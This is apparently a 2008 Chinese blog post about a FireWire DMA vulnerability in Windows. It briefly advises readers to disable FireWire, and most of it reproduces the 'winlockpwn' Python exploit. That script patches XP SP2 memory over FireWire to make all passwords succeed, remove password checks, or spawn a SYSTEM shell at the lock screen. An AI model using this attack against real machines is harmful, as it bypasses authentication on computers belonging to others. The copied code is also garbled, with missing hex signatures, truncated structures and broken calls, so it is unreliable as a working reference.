[阴 March 7, 2008 18:18 | by ]
最近,电脑的Firewire的安全问题又被暴露出来了,根据国外安全研究人员称,他们已经开发了一个小工具,不用一秒钟就可以搞定你的WIN PC. 目前微软正在全力修复这个问题。 微软是个好同志,经常修复一些不是他们自己产品原因导致的安全问题。 这个问题的罪魁祸首是Firewire port.

大家假如不用Firewire port话,请关闭该功能,免得有人偷偷靠近你的电脑,搞定的电脑。
# Windows locked screen remote firewire unlockor
# Metlstorm 2k6
# Uh, private use only, not for public distro, kthx.

import sys
import firewire
import binascii
import time

VERSTR="Winlockpwn v%s Metlstorm, 2k6. <>" % VER

# Targets are dicts, with some properties, and one or more phases
# each phase specifies a signature which can be found at one or more
# page offsets. When a signature is found the patch is applied at
# bytes from the beginning of the signature.

  "name":"WinXP SP2 Fast User Switching Unlock",
  "notes":"When run against a locked XPSP2 box with FUS on, it will cause
all passwords to succeed. You'll still get the password-is-wrong dialog, but
then you'll get logged in anyway.",
  {"name":"WinXP SP2 Unlock",
  "notes":"When run against a locked XPSP2 box with regular
non-fast-user-switching, it will cause all passwords to succeed. You'll
still get the password-is-wrong dialog, but then you'll get logged in
  {"name":"WinXP SP2 msv1_0.dll technique",
   "notes":"Patches the call which decides if an account requires password
authentication. This will cause all accounts to no longer require a
password, which covers logging in, locking, and probably network
authentication too! This is the best allround XPSP2 technique.",
  {"name":"WinXP SP2 utilman cmd spawn",
   "notes":"At the winlogon winstation (locked or prelogin), will spawn a
system cmd shell. Start util manager with Win-U, and make sure all the
disability-tools are stopped (narrator starts by default). Then run this,
wait till it's patched a couple of data-phase things, then start narrator.
Enjoy a shell. You can use this with the msv1_0.dll technique as well, and
log in. Any time you want to get back to your shell, just lock the desktop,
and you'll go back to the winlogon winstation where your shell will be
   {"name":"Patch code",
   {"name":"Patch data",
   "pageoffset":[0x9ac, 0x5ac, 0x3ac],


start = 0x8000000L
end   = 0xffffffffL
chunk = 4096

print VERSTR

def printTargets(targets):
i = 1
print " Available Targets:"
for t in targets:
  print " %2d: %s" % (i, t["name"])
print "\nTarget Notes:\n"
for t in targets:
  print "%s:\n---------------\n%s\n" % (t["name"], t["notes"])

def usage():
print "Usage: winlockpwn port node target [start-end]"
print " - Port and node are the firewire port and node numbers. Use businfo
to identify your targets port and node numbers."
print " - Target should be one of the numbered targets listed below."
print " - You can optionally supply a start-end memory range to search for
signatures in, useful if you're restarting, or want to limit the upper end
of memory (which will otherwise walk up to 4GB without stopping). This
understands anything sensible; eg 0-100M, 0xffff-0x1ffff, 1m-, 200k-1GB,
print "(Remember that you'll need to use CSR trickery with romtool to talk
DMA to windows.)\n"

if len(sys.argv) < 4:

port = int(sys.argv[1])
node = int(sys.argv[2])
targetno = int(sys.argv[3])
if len(sys.argv) > 4:
  start,end = firewire.parseRange(sys.argv[4])
  if end == None:
   end = 0xffffffffL
except ValueError:

if targetno < 1 or targetno > len(targets):

target = targets[targetno -1]

print "Target Selection:"
print " Name   : %s" % target["name"]
print " Notes  : %s" % target["notes"]
for p in target["phase"]:
if p.has_key("name"):
  print "Phase: %s" % p["name"]
print " Pattern: 0x%s" % p["sig"]
print " Offset : %s" % p["pageoffset"]
print " Patch  : 0x%s" % p["patch"]
print " Offset : %d" % p["patchoffset"]
print "Scanning Options:"
print " Start  : 0x%x" % start
print " Stop   : 0x%x" % end
print " Pagesz : %d" % chunk

for so in p["pageoffset"]:
if len(p["sig"]) + so > chunk:
  print "Uh oh, signature crosses page boundary. This isn't supported :("
if so + p["patchoffset"] > chunk:
  print "Uh oh, patch offset crosses page boundary. This isn't supported :("

print "Init firwire, port %d node %d" % (port, node)
h = firewire.Host()
n = h[port][node]

print "Snarfin' memories..."

dumppage = False
won = False

startt = time.time()
last = 0
for p in target["phase"]:
  print "Phase: %s" % p["name"]
except KeyError:
eviloffset = p["patchoffset"]
payload = binascii.unhexlify(p["patch"])
pattern = binascii.unhexlify(p["sig"])
eviladdr = None
for offset in range(start, end, chunk):
  now = time.time()
  if now > (last + 1):
   last = now
   print "\rChecking for signature on page at 0x%08x (%dkB) at %d kB/s..." %
(offset, offset / 1024, (offset - start) / (now - startt) / 1024 ),

  for so in signatureoffset:
   mem = + so , len(pattern))
   if mem == pattern:
    print "Found signature at 0x%08x" % (offset + so)
    eviladdr = offset + so + p["patchoffset"]
    if dumppage:
     fo = open("winlockpwn.dumppage.0x%08x" % offset, "w")
     fo.write(, chunk))
  if eviladdr != None:
   won = True
   print "Setting up teh bomb...",
   n.write(eviladdr, payload)
   print "Donezor!", len(payload))
   print "Verified evil: 0x%s" % (binascii.hexlify(verify))
   if dumppage:
    fo = open("winlockpwn.dumppage.0x%08x.patched" % offset, "w")
    fo.write(, chunk))
   if p.has_key("keepgoing") and p["keepgoing"]:
    eviladdr = None

if won:
print "You may proceed with your nefarious plans"
print "\nOh noes, you didn't win"
endt = time.time()
print "Elapsed time %d seconds" % (endt - startt)
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